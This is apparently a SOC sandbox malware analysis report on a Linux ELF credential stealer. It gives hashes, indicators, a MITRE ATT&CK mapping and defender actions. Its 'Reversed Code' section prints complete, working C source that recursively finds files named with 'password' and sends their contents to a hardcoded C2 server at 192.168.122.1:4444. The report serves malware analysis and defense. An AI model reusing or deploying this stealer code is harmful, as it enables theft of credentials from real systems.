

SOCaaS Sandbox Analysis Report

Case ID: suspicious_file | Run ID: sandbox-suspicious_file-20260528-174611

Executive Summary

The analyzed sample is a Linux ELF 64-bit data exfiltration tool (stealer/exfiltrator). It connects to a hardcoded C2 server at 192.168.122.1:4444 via TCP, recursively scans the filesystem starting from root (/), searches for files containing 'password' in their filename, reads their content, and transmits it to the attacker's server. The binary prints '[+] exfil complete' upon successful exfiltration. VERDICT: MALICIOUS - Data exfiltration / credential theft tool.

Sample Information

Filename: suspicious_file

SHA256: 6d7266076f7b312d9582b70c926c2d11100ff60c6ac29e33b5acdd77f7a8c018

File Type: ELF 64-bit LSB PIE executable, x86-64, dynamically linked, stripped

File Size: 14,600 bytes

Architecture: x86-64 (AMD64)

Compiler: GCC (Debian 14.2.0-19) 14.2.0

Linked Libraries: libc.so.6 (GLIBC_2.2.5, GLIBC_2.33, GLIBC_2.34)

Binary Protection: PIE enabled, RELRO full, stripped symbols

Static Analysis

Imported Functions (Suspicious)

Network: socket, connect, send, inet_pton

File I/O: open, read, fstat, close

Directory: opendir, readdir, closedir

Memory: malloc, free

String: strstr, strdup, snprintf

Output: puts

Hardcoded Strings

- C2 IP Address: 192.168.122.1

- C2 Port: 4444 (0x115C, stored in sockaddr_in)

- Search keyword: 'password'

- Exfil protocol header: 'FILE:%s'

- Path format: '%s/%s'

- Success message: '[+] exfil complete'

Byte Frequency Analysis

The high frequency of 0x00 bytes (11,799 / 14,600 = 80.8%) is typical for a small, non-packed ELF binary with standard alignment padding. No evidence of encryption or packing.

Indicators of Compromise (IOCs)

Network Indicators

- C2 IP: 192.168.122.1
- C2 Port: 4444/TCP
- Protocol: Raw TCP with custom text protocol (FILE:<path> + content + \n\n)

Host Indicators

- SHA256: 6d7266076f7b312d9582b70c926c2d11100ff60c6ac29e33b5acdd77f7a8c018
- File targets: Any file with 'password' in the filename
- Filesystem access: Recursive traversal from / (root)
- Console artifact: '[+] exfil complete' printed to stdout on success

MITRE ATT&CK Mapping

Tactic	Technique	Evidence
Collection	T1005 - Data from Local System	Reads local files containing 'password' in filename
Discovery	T1083 - File and Directory Discovery	Recursively enumerates filesystem from /
Exfiltration	T1041 - Exfiltration Over C2 Channel	Sends file content over same TCP connection to C2
Command & Control	T1071.001 - Application Layer Protocol	Custom TCP protocol to 192.168.122.1:4444
Credential Access	T1552.001 - Unsecured Credentials: Files	Searches for files with 'password' keyword

Reversed Code

The following C code was reconstructed from the disassembly. The binary has three main functions: main() establishes C2 connection, exfil_directory() recursively scans directories, and send_file() reads and transmits file contents.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include <dirent.h>
#include <fcntl.h>

#define C2_IP      "192.168.122.1"
#define C2_PORT    4444
#define KEYWORD    "password"
#define BUF_SIZE   4096

void send_file(int sockfd, const char *filepath) {
    int fd = open(filepath, O_RDONLY);
    if (fd < 0) return;

    struct stat st;
    if (fstat(fd, &st) < 0) { close(fd); return; }

    char *content = malloc(st.st_size + 1);
    if (!content) { close(fd); return; }

    ssize_t n = read(fd, content, st.st_size);
```

SOCaaS Sandbox Analysis Report

```
close(fd);
if (n < 0) { free(content); return; }
content[n] = '\\0';

char header[BUF_SIZE];
int hlen = snprintf(header, BUF_SIZE, "FILE:%s", filepath);
send(sockfd, header, hlen, MSG_NOSIGNAL);
send(sockfd, content, n, MSG_NOSIGNAL);
send(sockfd, "\\n\\n", 2, MSG_NOSIGNAL);
free(content);
}

void exfil_directory(const char *path, int sockfd) {
    DIR *dir = opendir(path);
    if (!dir) return;

    struct dirent *ent;
    while ((ent = readdir(dir)) != NULL) {
        if (ent->d_name[0] == '.') continue;
        char fullpath[BUF_SIZE];
        snprintf(fullpath, BUF_SIZE, "%s/%s", path, ent->d_name);

        if (ent->d_type == DT_DIR) {
            exfil_directory(fullpath, sockfd);
        } else if (strstr(ent->d_name, KEYWORD)) {
            send_file(sockfd, fullpath);
        }
    }
    closedir(dir);
}

int main(void) {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0) return 1;

    struct sockaddr_in sa = {
        .sin_family = AF_INET,
        .sin_port = htons(C2_PORT)
    };
    if (inet_pton(AF_INET, C2_IP, &sa.sin_addr) <= 0) {
        close(sock); return 1;
    }
    if (connect(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        close(sock); return 1;
    }

    exfil_directory("/", sock);
    puts("[+] exfil complete");
    close(sock);
    return 0;
}
```

Recommended Analyst Actions

1. BLOCK the C2 IP 192.168.122.1 at perimeter firewall and internal segmentation points.
2. HUNT for outbound TCP connections to 192.168.122.1:4444 in network logs (Zeek/Suricata/firewall).
3. SEARCH endpoints for this SHA256 hash and any files matching this binary signature.
4. INVESTIGATE how this binary was delivered (email attachment, web download, lateral movement).
5. ASSESS credential exposure: determine which password files may have been exfiltrated.
6. ROTATE any credentials stored in plaintext files that may have been accessed.
7. MONITOR for re-infection or persistence mechanisms (cron jobs, systemd services, rc.local).
8. SUBMIT hash to VirusTotal/MalwareBazaar for community intelligence correlation.

Artifacts

- Full strings output: sandbox-suspicious_file-20260528-174611/all_strings.txt

SOCaaS Sandbox Analysis Report

- ELF headers: sandbox-suspicious_file-20260528-174611/pe_headers.txt
- Disassembly: sandbox-suspicious_file-20260528-174611/disassembly.txt
- Hex dump: sandbox-suspicious_file-20260528-174611/hex_dump.txt
- Byte frequency: sandbox-suspicious_file-20260528-174611/byte_frequency.txt